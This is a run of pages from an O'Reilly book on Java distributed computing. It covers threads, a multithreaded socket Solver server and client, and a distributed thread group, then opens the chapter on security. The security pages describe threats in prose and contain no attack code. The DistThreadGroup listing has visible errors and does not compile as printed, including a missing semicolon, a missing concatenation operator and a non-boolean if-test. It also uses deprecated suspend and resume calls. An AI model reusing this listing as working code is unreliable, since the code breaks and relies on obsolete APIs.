The Java API includes two classes that embody the core thread support in the language. These classes are java.lang.Thread and java.lang.Runnable. They allow you to define threads of control in your application, and to manage threads in terms of runtime resources and running state.

As the name suggests, java.lang.Thread represents a thread of control. It offers methods that allow you to set the priority of the thread, to assign a thread to a thread group (more on these in a later section), and to control the running state of the thread (e.g., whether it is running or suspended).

The java.lang.Runnable interface represents the body of a thread. Classes that implement the Runnable interface provide their own run() methods that determine what their thread actually does while running. In fact, run() is the only method defined by the Runnable interface. If a Thread is constructed with a Runnable object as its body, the run() method on the Runnable will be called when the thread is started.

Previous | Home | Next
3.7. RMI vs. CORBA | Book Index | 4.2. Making a Thread
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Making a Thread (Java Distributed Computing)

 Java Distributed Computing Search this book

4.2. Making a Thread

The choice between extending the Thread class or implementing the Runnable interface with your application objects is sometimes not an obvious one. It's also usually not very important. Essentially, the difference between the two classes is that a Thread is supposed to represent how a thread of control runs (its priority level, the name for the thread), and a Runnable defines what a thread runs. In both cases, defining a subclass usually involves implementing the run() method to do whatever work you want done in the separate thread of control.

Most of the time we want to specify what runs in a thread, so in most cases you may want to implement the Runnable interface. With a Runnable subclass, you can use the same object with different types of Thread subclasses, depending on the application. You might use your implementation of Runnable inside a standard Thread in one case, and in another you might run it in a subclass of Thread that sends a notice across the network when it's started.

On the other hand, directly extending Thread can make your classes slightly easier to use. You just create one of your Thread subclasses and run it, instead of creating a Runnable subclass, putting into another Thread, and running it. Also, if your application objects are subclasses of Thread, then you can access them directly by asking the system for the current thread, or the threads in the current thread group, etc. Then you can cast the object to its subclass and call specialized methods on it, maybe to ask it how far it's gotten on whatever task you gave it.

In the next sections we'll look at how to both implement Runnable and extend Thread to make an object that executes in an independent thread. We'll return to our Solver example, making it usable in a multithreaded agent within a distributed system. The examples in this section will use fairly basic network communications, based on sockets and I/O streams, but the concepts extend pretty easily to distributed object scenarios.

4.2.1. Implementing Runnable

Suppose we wanted to make an implementation of our Solver interface (from Example 4-1) that was runnable within a thread. We may want to wrap the solver with a multithreaded server so that multiple clients can submit ProblemSets. In this case, there isn't really a compelling reason to extend the Thread class with the functionality of our Solver, since we don't have any special requirements on how the thread is run. So we would probably choose to implement the Runnable interface with the RunnableSolver class shown in Example 4-1.

Example 4-1. A Solver Runnable Within a Thread

package dcj.examples;

import java.lang.Runnable;
import java.io.*;

//
// RunnableSolver - An implementation of Solver that can be used as the
//                  the body of a Thread.
//

public class RunnableSolver implements Runnable, Solver {
  // Protected implementation variables
  protected ProblemSet currProblem = null;
  protected OutputStream clientOut = null; // Destination for solutions
  protected InputStream clientIn = null;   // Source of problems

  // Constructors
  public RunnableSolver(InputStream cin, OutputStream cout) {
    super();
    clientIn = cin;
    clientOut = cout;
  }

  public boolean Solve() {
    boolean success = true;
    SimpleCmdInputStream sin = new SimpleCmdInputStream(clientIn);
    String inStr = null;
    try {
      System.out.println("Reading from client...");
      inStr = sin.readString();
    }
    catch (IOException e) {
      System.out.println("Error reading data from client.");
      return false;
    }

    if (inStr.compareTo("problem") == 0) {
      try {
        inStr = sin.readString();
      }
      catch (IOException e) {
        System.out.println("Error reading data from client.");
        return false;
      }

      System.out.println("Got \"" + inStr + "\" from client.");
      double problem = Double.valueOf(inStr).doubleValue();
      ProblemSet p = new ProblemSet();
      p.Value(problem);
      success = Solve(p);
    }
    else {
      System.out.println("Error reading problem from client.");
      return false;
    }

    return success;
  }

  public boolean Solve(ProblemSet s) {
    boolean success = true;

    if (s == null) {
      System.out.println("No problem to solve.");
      return false;
    }

    System.out.println("Problem value = " + s.Value());

    // Solve problem here...
    try {
      s.Solution(Math.sqrt(s.Value()));
    }
    catch (ArithmeticException e) {
      System.out.println("Badly-formed problem.");
      success = false;
    }

    System.out.println("Problem solution = " + s.Solution());
    System.out.println("Sending solution to output...");

    // Write the solution to the designated output destination
    try {
      DataOutputStream dout = new DataOutputStream(clientOut);
      dout.writeChars("solution=" + s.Solution() + "\n");
    }
    catch (IOException e) {
      System.out.println("Error writing results to output.");
      success = false;
    }

    return success;
  }

  public boolean Problem(ProblemSet s) {
    currProblem = s;
    return true;
  }

  public boolean Iterations(int dummy) {
    // Not used on this solver
    return false;
  }

  public void PrintResults(OutputStream os) {
    PrintStream pos = new PrintStream(os);
    pos.println("Problem solution: " + currProblem.Solution());
  }

  public void run() {
    Solve();
  }
}

Here are the critical features to note about the RunnableSolver in Example 4-1:

Constructor with input/output stream arguments

The constructor defined for RunnableSolver takes an InputStream and an OutputStream as arguments. These will be used by the solver to read the problem to be solved and to write out the results of the solver. The input/output streams could be attached to an active agent/client over a socket or pipe, or they might be connected to static data source/destinations like files, databases, etc.

Implementations of Solve() methods from Solver interface

The RunnableSolver implementation of Solve() first attempts to read the problem to be solved from its input stream. If successful, it calls the overridden Solve() method with the ProblemSet as the argument. The Solve(ProblemSet) implementation solves the problem, then writes the results to the solver's output stream.

Implementation of run() method from Runnable

The RunnableSolver's run() method simply calls Solve() to solve the current problem.

All together, the RunnableSolver class provides a Solver that can be created with connections to just about any kind of "client," and then wrapped with a Thread and run. The run() method calls Solve(), which reads the problem from the client, solves it, and writes the result to the client.

To demonstrate its use in action, Example 4-2 shows a RunnableSolveServer class that extends our SimpleServer class from Chapter 1, "Introduction". The RunnableSolverServer accepts connections from remote clients, and assigns a RunnableSolver to solve each client's problem. It creates a solver with the input and output streams from the socket connection to the client, then wraps the solver in a thread and starts the thread.

Example 4-2. A Server for the Runnable Solver

package dcj.examples;

import java.io.*;
import java.net.*;

class RunnableSolverServer extends SimpleServer {
  public RunnableSolverServer() { super(3000); }
  public RunnableSolverServer(int port) { super(port); }

  public static void main(String argv[]) {
    int port = 3000;
    if (argv.length > 0) {
      try {
        port = Integer.parseInt(argv[0]);
      }
      catch (NumberFormatException e) {
        System.err.println("Bad port number given.");
        System.err.println("   Using default port.");
      }
    }

    RunnableSolverServer server = new RunnableSolverServer(port);
    System.out.println("RunnableSolverServer running on port " + port);
    server.run();
  }

  // Override SimpleServer's serviceClient() method to spawn Solver threads
  // on each client connection.
  public void serviceClient(Socket clientConn) {
    InputStream inStream = null;
    OutputStream outStream = null;

    try {
      inStream = clientConn.getInputStream();
      outStream = clientConn.getOutputStream();
    }
    catch (IOException e) {
      System.out.println(
        "RunnableSolverServer: Error getting I/O streams.");
      System.exit(1);
    }

    RunnableSolver s = new RunnableSolver(inStream, outStream);
    Thread t = new Thread(s);
    t.start();
  }
}

Example 4-3 shows RunnableSolverClient, a sample client to the RunnableSolverServer. It simply makes a socket connection to the RunnableSolverServer's host and port, writes the problem to the socket's output stream, and waits for the answer on the input stream.

Example 4-3. A Client for the Runnable Solver

package dcj.examples;

import java.lang.*;
import java.net.*;
import java.io.*;

public class RunnableSolverClient extends SimpleClient {
  ProblemSet problem;

  public RunnableSolverClient(String host, int port, double pval) {
    super(host, port);
    problem = new ProblemSet();
    problem.Value(pval);
  }

  public static void main(String argv[]) {
    if (argv.length < 3) {
      System.out.println(
         "Usage: java RunnableSolverClient [host] [port] [problem]");
      System.exit(1);
    }

    String host = argv[0];
    int port = 3000;
    double pval = 0;
    try {
      port = Integer.parseInt(argv[1]);
      pval = Double.valueOf(argv[2]).doubleValue();
    }
    catch (NumberFormatException e) {
      System.err.println("Bad port number or problem value given.");
    }

    RunnableSolverClient client =
      new RunnableSolverClient(host, port, pval);
    System.out.println("Attaching client to " + host + ":" + port + "...");
    client.run();
  }

  public void run() {
    try {
      OutputStreamWriter wout =
        new OutputStreamWriter(serverConn.getOutputStream());
      BufferedReader rin = new BufferedReader(
        new InputStreamReader(serverConn.getInputStream()));

      // Send a problem...
      wout.write("problem " + problem.Value() + " ");
      // ...and read the solution
      String result = rin.readLine();
    }
    catch (IOException e) {
      System.out.println("RunnableSolverClient: " + e);
      System.exit(1);
    }
  }
}

We've reused some classes from Chapter 1, "Introduction" to implement our RunnableSolverServer and RunnableSolverClient. The RunnableSolverServer is an extension of our SimpleServer, which simply overrides the serviceClient() method to attach a RunnableSolver to the client socket. The RunnableSolverClient is an extension of the SimpleClient. This allows us to use the constructor of SimpleClient to establish the socket connection to the server. All we need to do is provide a new implementation of the main() method that accepts an additional argument (the problem to be solved), and override the run() method from SimpleClient to do the required communication with the server.

4.2.2. Extending Thread

Making a Solver subclass that extends Thread requires just a few minor changes to our Runnable version. The same run() method can be used on our Thread subclass as on the RunnableSolver, but in this case it's overriding the run() from Thread rather than from Runnable.

To make our multithreaded server work with the Thread-derived Solver, we only have to change its serviceClient() implementation slightly. Rather than creating a RunnableSolver and wrapping a thread around it, a Thread-derived Solver acts as both the Solver and the thread, so we only need to create one for the incoming client, then start() it:

ThreadSolver ts = new ThreadSolver(inStream, outStream);
ts.start();

Our client will work with the Thread-derived Solver without changes. It just wants to connect to a Solver over a socket--it doesn't care if the Solver is running as a Thread, or running inside another Thread.

Previous | Home | Next
4.1. Thread and Runnable | Book Index | 4.3. Managing Threads at Runtime
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Managing Threads at Runtime (Java Distributed Computing)

 Java Distributed Computing Search this book

4.3. Managing Threads at Runtime

In addition to changing the running state of your application threads, the Java API allows you to do some basic thread management at runtime. The functionality provided includes thread synchronization, organization of threads into thread groups, and influencing the thread scheduler by setting thread priorities. Before we see how all of these can come into play in a distributed application, let's go over them briefly so that we have a feeling for what kinds of capabilities they provide.

4.3.1. Synchronizing Threads

When you have multiple threads in an application, it sometimes becomes necessary to synchronize them with respect to a particular method or block of code. This usually occurs when multiple threads are updating the same data asynchronously. To ensure that these changes are consistent throughout the application, we need to make sure that one thread can't start updating the data before another thread is finished reading or updating the same data. If we let this occur, then the data will be left in an inconsistent state, and one or both threads will not get the correct result.

Java allows you to define critical regions of code using the synchronized statement. A method or block of code is synchronized on a class, object, or array, depending on the context of the synchronized keyword. If you use the synchronized modifier on a static method of a class, for example, then before the method is executed, the Java virtual machine obtains an exclusive "lock" on the class. A thread that attempts to enter this block of code has to get the lock before the code in the synchronized block is executed. If another thread is executing in this critical section at the time, the thread will block until the running thread exits the critical section and the lock on the class is released.

If a non-static method is declared synchronized, then the virtual machine obtains a lock on the object on which the method is invoked. If you define a synchronized block of code, then you have to specify the class, object, or array on which to synchronize.

4.3.2. Thread Groups

The Java API also lets you organize threads into groups, represented by the ThreadGroup class. A ThreadGroup can contain individual threads, or other thread groups, to create a thread hierarchy. The benefit of thread groups is a mixture of security and convenience. Thread groups are secure because threads in a group can't access the parent thread of their group. This allows you to isolate certain threads from other threads and prevent them from monitoring or modifying each other.

Convenience comes from the methods provided on the ThreadGroup class for performing "batch" operations on the group of threads. The start() method on ThreadGroup starts all of the threads in the group, for example. Similar methods exist for suspending, resuming, stopping, and destroying the threads in the group.

4.3.3. Priorities

The Java virtual machine is a process running under the operating system for the platform it's on. The operating system is responsible for allocating CPU time among the processes running on the system. When CPU time is allocated to the Java runtime, the virtual machine is responsible for allocating CPU time to each of the threads in the Java process. How much CPU time is given to a thread, and when, is determined by the virtual machine using a simple scheduling algorithm called fixed-priority scheduling. When a Java process starts, there are one or more threads that are in the runnable state (i.e., not in the stopped state described earlier). These threads all need to use a CPU. The Java runtime chooses the highest priority thread to run first. If all of the threads have the same priority, then a thread is chosen using a round-robin scheme. The currently running thread will continue to run until it yields the CPU, or a higher-priority thread becomes runnable (e.g., is created and its start() method is called), or until the CPU time slice allocated to the thread runs out (on systems that support thread time-slicing). When a thread loses the CPU, the next thread to run is chosen using the same algorithm that was used to pick the first thread: highest priority wins, or if there is more than one thread with the highest priority, one is picked in round-robin fashion.

All this means that there is no guarantee that the highest priority thread is running at any given time during the life of a process. Even if you ensure that one thread in your process has a higher priority than all the others, that thread might lose control of the CPU if it's suspended by some external agent, or if it yields the CPU itself, or if the underlying platform implements thread time-slicing and its time slice runs out. So thread priorities should only be used to influence the relative runtime behavior of the threads in your process, and shouldn't be used to implement synchronized interactions between threads. If one thread has to finish before another one can complete its job, then you should implement some kind of completion flag for the second thread to check, or use wait() and notify() to synchronize the threads, rather than giving the first thread a higher priority than the second. Depending on the number of CPU cycles each thread needs to finish, and whether the Java runtime is running on a time-slicing system or not, the second thread could still finish before the first, even with its lower priority.

Previous | Home | Next
4.2. Making a Thread | Book Index | 4.4. Networked Threads
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Networked Threads (Java Distributed Computing)

 Java Distributed Computing Search this book

4.4. Networked Threads

We've seen how to make separate threads of control in a Java applet or application, and we've discussed the various ways that the Java API allows you to manage threads at runtime. Now we'll go over some of the issues that arise with multithreaded distributed applications, and how the Java environment helps you deal with them.

4.4.1. Asynchronous Agents

The threaded implementation of our Solver interface in Example 4-1 shows how multithreaded servers can be implemented in Java. This allows our server to respond to clients asynchronously and to service their requests in parallel, which can reduce the amount of time a client has to wait for a response. The alternative is to have a server with only one thread servicing clients on a first-come, first-serve basis. So if client A is the first client to make a request, the server begins processing it right away. If client B makes a request while the server is processing client A's job, then B will have to wait for the server to finish A's job before its job can be started. In fact, client B won't even get an acknowledgment from the server until client A's job is done. With the multithreaded server, an independent thread can listen for client requests and acknowledge them almost immediately (or as soon as the thread scheduler gives it a CPU time slice). And with the jobs being allocated to separate threads for processing, the CPU resources will be spread out between the two jobs, and B's job will potentially finish sooner (though client A's job might finish later, since it is now getting less than 100% of the CPU).

Threads are useful in any distributed system where we want an agent to respond to asynchronous messages. By isolating communications in a separate thread, the other threads in the process can continue to do useful work while the communications thread blocks on a socket waiting for messages. The client process shown in Example 4-3 only has a single thread, since it doesn't really have anything else to do but wait for the server to send a response. But we could easily reuse these classes in a multithreaded client as a single communications thread, or as multiple threads talking to multiple servers.

4.4.2. Distributed ThreadGroups

You can probably imagine situations where it would be useful to define a ThreadGroup that includes Threads from several agent processes in a distributed application. A distributed database application, for example, might be designed such that each agent contains a thread responsible for routing SQL calls to one of the databases in the system. If the database suddenly becomes temporarily unavailable, perhaps for some administrative task, then you might like to be able to perform a batch suspend() on all of the threads in the distributed system responsible for that database, to guarantee that the blocked threads don't attempt database connections until the database is fully online. When the database administration is complete and we get confirmation that the database is online, we can send a batch resume() to the distributed thread group to activate the threads again.

Unfortunately, since the ThreadGroup class in the java.lang package is implemented with nearly all of the critical methods defined as final, we can't just extend this class to implement a distributed thread group. However, we can implement a distributed thread group by defining a class that can handle the network communications and use the existing ThreadGroup interface.

Example 4-4 shows the DistThreadGroup class, which represents a group of threads distributed across the network. It basically acts as a local agent for a set of ThreadGroups across the network, which might also include a ThreadGroup on the local host. The DistThreadGroup has two major tasks:

  • When a state change is requested locally (e.g., to suspend the thread group), it broadcasts the request to all other threads in the distributed group so that the entire distributed thread group changes state.

  • It listens to a port on the local host for messages from other agents to change its state.

Example 4-4. A Distributed Thread Group

package dcj.utils.Thread;

import java.lang.*;

/*
 * DistThreadGroup
 *
 *     Local representation of a group of threads distributed across
 * processes on the network. Allows for the definition and control of
 * distributed threads.
 *
 */

public class DistThreadGroup extends Thread {
  // Protected instance variables
  protected ThreadGroup  localGroup;
  protected HashTable    remoteGroups;
  protected ServerSocket incoming;
  protected int          localPort;

  // Class variables
  static final int       hostIdx = 0;
  static final int       portIdx = 1;

  // Public constructors
  public DistThreadGroup(ThreadGroup g, int port) {
    localGroup = g;
    localPort = port;
  }

  public DistThreadGroup(int port) {
    localGroup = new ThreadGroup();
    localPort = port;
  }

  public DistThreadGroup(String rHost, int rPort, String gname, int port) {
    localGroup = new ThreadGroup();
    localPort = port
    Add(gname, rHost, rPort);
  }

  // Add a remote thread group to this group
  public void Add(String gname, String host, int port) {
    RmtThreadGroup rg = new RmtThreadGroup(host, port);
    remoteGroups.put(gname, rg);
  }

  // Remove a thread group from this group
  public void Remove(String gname) {
    remoteGroups.remove(gname);
  }

  // Get the local thread group belonging to this distributed group
  public ThreadGroup GetLocalGroup() {
    return localGroup;
  }

  // Implementation of Thread::run - checks its port on the current machine
  // waiting for messages from remote members of this group.
  public void run() {
    incoming = new ServerSocket(localPort);
    while (true) {
      Socket peer = incoming.accept();
      DataInputStream is = new DataInputStream(peer.getInputStream());
      String input = is.readUTF();
      if (input.compareTo("suspend") == 0)
        suspend();
      else if (input.compareTo("resume") == 0)
        resume();
      //
      // Check for other messages here ("stop", "start", etc.)
      // ...
      else {
        System.out.println("DistThreadGroup: Received unknown command \""
                           + input + "\"");
      }
    }
  }

  // Suspend the group of threads. If requested, the suspend
  // command is sent to the remote threads first, then the local group
  // is suspended.
  public synchronized void suspend(boolean bcast) {
    if (bcast)
      broadcastCmd("suspend");

    if (localGroup)
      localGroup.suspend();
  }

  // Resume the group of threads. If requested, the resume
  // command is sent to the remote threads first, then the
  // local group is resumed.
  public synchronized void resume(boolean bcast) {
    if (bcast)
      broadcastCmd("resume");

    if (localGroup)
      localGroup.resume();
  }

  //
  //  Implement other methods corresponding to ThreadGroup methods here
  //  (e.g. resume(), stop())
  //  ...

  // Broadcast the given message to the remote thread groups.
  protected void broadcastCmd(String cmd) {
    Enumeration e = remoteGroups.elements();
    while (e.hasMoreElements()) {
      RmtThreadGroup rg = (RmtThreadGroup)e.nextElement();
      try {
        Socket s = new Socket(rg.getHost(), rg.getPort());
        DataOutputStream os = new DataOutputStream(s.getOutputStream());
        os.writeUTF(cmd);
      }
      catch (Exception e) {
        System.out.println("DistThreadGroup: Failed to " + cmd
                           " group at \"" + rg.getHost() + ":"
                           + rg.getPort());
      }
    }
  }
}

The DistThreadGroup represents the distributed thread group using a local ThreadGroup and a hashtable of remote thread groups. The remote thread groups are represented by a RmtThreadGroup class, which for this example is simply a host/port pair, as shown in Example 4-5. The host and port number pairs indicate how to contact the DistThreadGroups running on the remote host, and they are keyed in the hashtable using a name, which is just a way to refer to the remote group locally.

Example 4-5. A Utility Class for Tracking Remote Thread Groups

package dcj.utils.Thread;

import java.lang.String;

public class RmtThreadGroup {
  protected String host = "";
  protected int port = 0;

  public RmtThreadGroup() {}

  public RmtThreadGroup(String h, int p) {
    host = h;
    port = p;
  }

  public String getHost() { return host; }
  public int getPort() { return port; }
  public void setHost(String h) { host = h; }
  public void setPort(int p) { port = p; }
}

When a state change is made to the DistThreadGroup by calling one of its methods, the change is broadcast to the remote thread groups, then the change is made to the local thread group. To broadcast the change, we sequentially open a socket to each remote thread group's host and port number, then send a message to the remote group indicating the change to make. The only methods shown in the example are the suspend() and resume() methods, but you can imagine how the other ThreadGroup methods would be implemented. If its bcast argument is true, then the suspend() and resume() methods use the broadcastCmd() method to send the same command to each remote thread group. The broadcastCmd() method iterates through the contents of the hashtable, and for each host/port pair, it opens up a socket to the host, attaches a DataOutputStream to the output stream of the socket, and sends the command string to the remote process. After the command has been broadcast to the remote groups, then the suspend() and resume() methods call the corresponding method on the local ThreadGroup, either suspending or resuming all of its threads.

Each DistThreadGroup is also a Thread, whose run() method listens on a port for messages coming in from remote thread groups, telling it to change its state. When a connection is made on its port, the DistThreadGroup checks for a message on the socket's input stream. It then calls the appropriate method as indicated by the message. Note that when receiving state-change messages over the socket, the DistThreadGroup calls the local version of the state-change method with the bcast argument set to false. We assume that the agent originating the message will broadcast it to the other agents in the distributed group, so the receiving agent doesn't need to repeat the broadcast.

One flaw in this design is that the DistThreadGroup could be added locally to the ThreadGroup that it's managing. If a request to suspend the distributed group is received, then the DistThreadGroup will suspend the remote groups, and then suspend the local group--and in the process suspend itself. If we try to call resume() on the same DistThreadGroup object, the method won't run, because the DistThreadGroup's local thread is still suspended. We won't be able to resume the distributed thread group until the resume() method is called directly on either the DistThreadGroup, or on its local ThreadGroup .

4.4.3. Improving Efficiency with Thread Priorities

As we mentioned previously, thread priorities don't guarantee a particular processing order. They only influence the thread scheduling algorithm. But this influence can be a powerful way to control the perceived performance of your application, especially in situations where you have a good idea of how quickly you want the threads to run relative to each other.

As always, things are more complicated in a distributed system, where there are processes located across the network, each containing its own threads and thread priorities. Presumably, these processes are working together to complete some job, so ideally we'd like to have the thread priorities coordinated to match the relationships between the processes and threads in the system. What this means exactly depends on the job you're trying to do and the environment in which you're trying to do it.

Let's assume that you're running your distributed system in an ideal environment: each host has the same operating system, CPU resources, memory, current load, etc. Now suppose that you're running a group of identical agent processes on this cluster of hosts, with the same number of agents on each host. Maybe each agent is solving a piece of a large problem, like a finite-element analysis; or perhaps each agent represents a node in a replicated database system. Under these assumptions, we should be able to come up with optimal thread priorities for the threads in each agent in the system. Since the hosts and the agents are completely homogenous, we can use a single host and agent, figure out the best thread priorities for that agent, and then use those priorities on all of the other agents in the distributed system.

In the distributed solver, for example, each agent is made up of two threads: one responsible for solving its piece of the problem, and another responsible for communicating with other agents in the system (broadcasting status or results, for example). The RunnableSolverServer classes are threads that listen for client requests and the RunnableSolver classes are threads that are "spun off " by the server to handle each request coming from remote clients. In general, we want to give the communication thread a higher priority than the CPU threads, so that it has a chance of getting some CPU time to check for requests, or to send off a few messages before the computation continues. Unless the computing job we give the RunnableSolvers is really trivial, the RunnableSolver threads are going to be running full-speed almost continuously, demanding as much CPU time as they can get. If we give them a higher priority than the I/O thread, the I/O thread will probably be blocked for long periods of time waiting for the computing threads either to finish or to yield() to other threads running on the same CPU.

If we can't rely on homogeneous agents and hosts, finding the best set of priorities for the threads in each agent isn't so simple. If we have several different kinds of agents composed of various types of threads, and these threads are interacting with each other in various ways, then we need to understand the major trends in these interactions in order to come up with optimal thread priorities for each agent. If we also have different types of hosts in our distributed system, we can't make assumptions about the underlying system that the Java runtime is using (single- or multiple-CPU, time-slicing or not, other applications sharing CPU load, etc.), so we can't foresee exactly how threads will be allocated CPU time and program it into our application.

In some cases the only way to make effective use of thread priorities is to have some way of monitoring the performance of your distributed system, and set thread priorities dynamically at runtime. Monitoring system performance is an issue of its own, and we won't go into detail about it here. Setting thread priorities dynamically is supported by the Java API within a single process on a single Java virtual machine, but we have to come up with a way to set priorities on threads across a distributed system. One way to do this is to extend our DistThreadGroup class in Example 4-4 to allow us to both get and set priorities on threads in the entire distributed group. We could add getPriority() and setPriority() methods, for example, that take the remote group name as an argument, as well as the name of a thread in the remote thread group. This message could be passed on to the remote group the same way we pass state-change messages. Another approach would be to make a version of DistThreadGroup that is also an RMI remote object. Then remote agents could get a stub for the DistThreadGroup and call the getPriority() and setPriority() methods directly.

Now that I've shown how distributed thread priority manipulation is possible in the Java environment, I have to admit that it's probably not something that will be commonly used. The overhead that you'll need to monitor and reason about the running state of the distributed system in order to calculate optimal thread priorities will usually outweigh the performance improvements that you'll be able to get by trying to influence thread scheduling.

4.4.4. Synchronizing Distributed Threads

The ability to synchronize threads is a necessity in situations where data is accessible and modifiable by multiple threads. This synchronization is easily extendible to distributed situations, where data is accessible to multiple agents on the network. The simplest example is one where some runtime data in a Java process is accessible by multiple agents in a distributed application. If we wanted to allow clients to query our multithreaded solvers for their current problem sets, we could easily synchronize this access by making the Problem() methods on the Solvers synchronized. Since this method is the only means for accessing a problem set, doing a local synchronization on it ensures that every accessor, whether it's a local thread or an external agent making a request over a socket, will have synchronous access to the data.

Previous | Home | Next
4.3. Managing Threads at Runtime | Book Index | 5. Security
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Security (Java Distributed Computing)

 Java Distributed Computing Search this book

Chapter 5. Security

Contents:

Security Issues and Concerns
The java.security Package
Identities and Access Control
Keys: Public, Private, and Secret
Digital Signatures
Data Encryption
Choosing a Cryptographic Algorithm

Security becomes an issue as soon as you allow your computing resources to come in contact with the rest of the world. With the recent explosion in the use of networks, preserving the security of data and the resources that carry data has become a primary concern. An open communications port on any computing device almost always carries the potential for abuse: a malicious party may steal or damage sensitive information, network bandwidth, or any other resource associated with your site. Security measures can increase the effort needed for an intruder to gain access to these resources.

In this chapter, we'll look at the Java Security API and how you can use it to make the agents in your distributed application safe from network hostility. We'll briefly discuss the kinds of security concerns you should have as a distributed application developer, and what tools are available in the Java environment for addressing these issues. Some of the issues we'll discuss are common across most applications, so the Java language developers have provided integrated features in the runtime environment that attempt to address them. An example of one of these features is the bytecode verifier, which prevents some kinds of malicious code from running on your machine. Other issues are only important in specific domains and applications, and it's your duty to determine how important these issues are to your particular application, what kinds of measures need to be taken, and how much effort needs to be invested in implementing these measures. For example, consider data theft from communications links. Is your data valuable enough to protect with data encryption, and if so, what level of encryption is appropriate, given the value of the data and the level of effort you can expect from those trying to steal it?

The subject of security in networked environments is worthy of several books' worth of material, and you can find many readings on the subject. In this book, we will only have a superficial discussion of the technical aspects of network security and cryptography, with limited excursions into the details only where it is necessary to support a solid understanding of the topic. From this foundation, we can take an educated look at the security options available to you in the Java Security API, and where you might find them useful.

The next section of this chapter discusses general security issues in networked environments. If you're already familiar with this topic, you can jump right to the later sections, which discuss the design and use of cryptographic security measures through the Java Security API.

5.1. Security Issues and Concerns

Just about everything making up a site on a computer network is a resource with potential value. The most obvious resource you need to worry about is information--the data being sent over the network and the information residing on your host computers. Other resources that could be targets are the applications on your hosts, the CPU resources of your computers, even the bandwidth available on your communications links. A hostile party may want to steal these resources or do damage to them.

Following are some of the things an attacker may do to steal or destroy your resources:

Eavesdrop on network communications

The hostile agent may physically tap into network lines, or set up rogue programs on other hosts to watch for interesting traffic. They may be trying to steal information, or gather information that will help them steal or damage other resources.

Set up imposter agents or data sources

This will let them fool you into sending valuable information or giving access to resources they shouldn't have. Our Solver servers could be accessed by intruders acting as legitimate clients, and used to solve their numerical problems; or a hostile party could flood the server with ProblemSets to be solved, rendering the server useless to the legitimate users. Clients of the Solver are also vulnerable, since a hostile party could set up an imposter Solver meant to steal the problem data submitted by clients, or they could purposely generate erroneous results. If the attacker manages to figure out that the clients are trying to solve for stress levels in a finite-element model, for example, then the imposter server could be set up to return results that indicate abnormally high or low stress levels in critical sections of the model. This could cause someone to design a bridge that will collapse, or that's too expensive to build.

Directly or indirectly intrude on your site

Once attackers have located your site, and maybe even stolen some information about what's on the site, they may try to break in to your host and steal or destroy resources directly. For example, attackers may try to crack passwords so that they can log onto your system. A more sophisticated approach is to take advantage of the class-loading and distributed-object features of Java to inject hostile agents directly into a remote host. For example, a client of the RMISolver from Chapter 3, "Distributing Objects" downloads a stub class that it uses for remote method calls to the server. A sophisticated attacker might try to create a "synthetic" remote stub, one whose methods have been modified to steal and transmit valuable information back to the attacker, or to do damage to the remote host from the inside.

This discussion leads us to the following list of general security concerns for the distributed application developer:

Verification of the identity of remote agents

Any time you open a network connection to a remote host, either directly, using the java.net.Socket and ServerSocket classes, or indirectly, using higher-level operations like connecting to a remote object, you should be concerned about whose agent you are really communicating with, and on which host machine the agent actually resides.

Ensuring that transmitted data is only received and understood by the intended recipient

If you assume that your network transmissions can be tapped into by a hostile party, then you may need to take measures to ensure that only the destination agent is able to interpret and reuse the information you're sending.

Verification of "visiting" agents for correctness and security holes

Internet-based languages such as Java have brought with them the common practice of allowing agents to "visit" your local environment, either as distributed objects or as applets embedded in an HTML page. So you need a means for screening incoming agents for questionable behavior.

Fortification of the local environment against damage

If your other security measures fail and a malicious agent manages to gain access to your local Java runtime environment, you want to minimize or prevent any damage the agent can cause.

Luckily for us, the Java language developers have decided that the last two issues mentioned in the preceding list will be handled inherently by the Java language and runtime. Verification of incoming Java objects is handled by the runtime bytecode verifier. Any classes loaded over the network as applets or distributed objects are checked for correct bytecode syntax and for basic malicious operations. Some of these questionable operations are attempts to manipulate memory addresses directly, or to replace core system classes with network-loaded versions. On top of this, the Java runtime puts restrictions on any loaded code, depending on its source. Applets have minimal access to the local system, for example, and any code has restricted access to classes outside of its own package scope.

If we assume that the Java language developers have done their job in dealing with the last two issues, that leaves the first two for you to worry about as an application developer. Verifying the identity of a remote agent or the source of incoming data requires some kind of certification and authentication process. Keeping communications private on a semiprivate or public communications link involves the use of data encryption. Again, the Java language developers are looking out for you. The Java Security API, introduced in the 1.1 version of the Java Developers' Kit (JDK™), provides a framework for integrating these security measures into your applications.

Previous | Home | Next
4.4. Networked Threads | Book Index | 5.2. The java.security Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.security Package (Java Distributed Computing)

 Java Distributed Computing Search this book

5.2. The java.security Package

The Java Security API is a framework for implementing and using security measures in the Java environment. The Java Security API is included in the core Java API, in the form of the java.security package.

5.2.1. Architectural Overview

The security package really provides two APIs: one for users of security algorithms, and another for the implementors or providers of these algorithms.

5.2.1.1. The User API

The user API is designed to let you use different cryptographic algorithms in your application without having to know how they are implemented by providers. All you need to know is an algorithm's name. As an example, you can create a new key-pair generator using the Digital Signature Algorithm (DSA) with the following call:

KeyPairGenerator myGen = KeyPairGenerator.getInstance("DSA");

You can take this new object and ask it for key pairs to be used to sign messages, without knowing how the key pairs are being generated. If you wanted to use a different algorithm to implement your key-pair generator, you would just change the algorithm name in the preceding line of code. The rest of your code that uses the object can usually remain unchanged.

In the same way that cryptographic algorithms are specified by name, providers of these algorithms are also specified by name. If you wanted to use an implementation of DSA from a specific provider, then you could ask for it by name when you create an object:

KeyPairGenerator myGen =
    KeyPairGenerator.getInstance("DSA", "MY_PROVIDER");

Although the Security API lets you hide from the details of cryptographic algorithms if you want to, it also lets you use those details if you need to. Underneath the generic, algorithm-independent interfaces provided by the Security API, like the KeyPairGenerator in our example, implementations of these interfaces will use algorithm-specific subclasses. If you need to give details about the algorithm and its specific parameters, then you can access these algorithm-specific interfaces for the objects you create by casting:

DSAKeyPairGenerator myDSAGen =
    (DSAKeyPairGenerator)KeyPairGenerator.getInstance("DSA");
DSAParams myParams = new DSAParams(myP, myQ, myG);
myDSAGen.initialize(myParams, new SecureRandom(mySeed));

In this case, since we asked for a key-pair generator for the DSA algorithm, we know that the returned object will implement the DSAKeyPairGenerator interface. So we can cast the object to this type, and call algorithm-specific methods on the interface.

5.2.1.2. The Provider API

